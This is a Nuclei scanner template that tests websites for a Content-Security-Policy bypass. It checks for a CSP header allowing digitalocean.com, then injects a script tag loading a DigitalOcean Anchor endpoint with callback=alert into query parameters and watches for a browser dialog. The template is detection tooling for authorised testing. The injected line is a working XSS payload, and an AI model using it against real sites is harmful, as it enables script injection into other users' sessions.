id: digitalocean-anchor-csp-bypass

info:
  name: Content-Security-Policy Bypass - DigitalOcean Anchor
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,digitalocean-anchor

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "digitalocean.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: digitalocean_anchor_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://anchor.digitalocean.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "digitalocean_anchor_csp_xss == true"
# digest: 4a0a00473045022100c3f32b377241990febdd98c62e49f999cde193899271d241b5b1d03450a4380802204210496378ac3ad2348a517498689d4566267bc864bf4edf1b3a4f4c0c1ed0b9:922c64590222798bb761d5b6d8e72950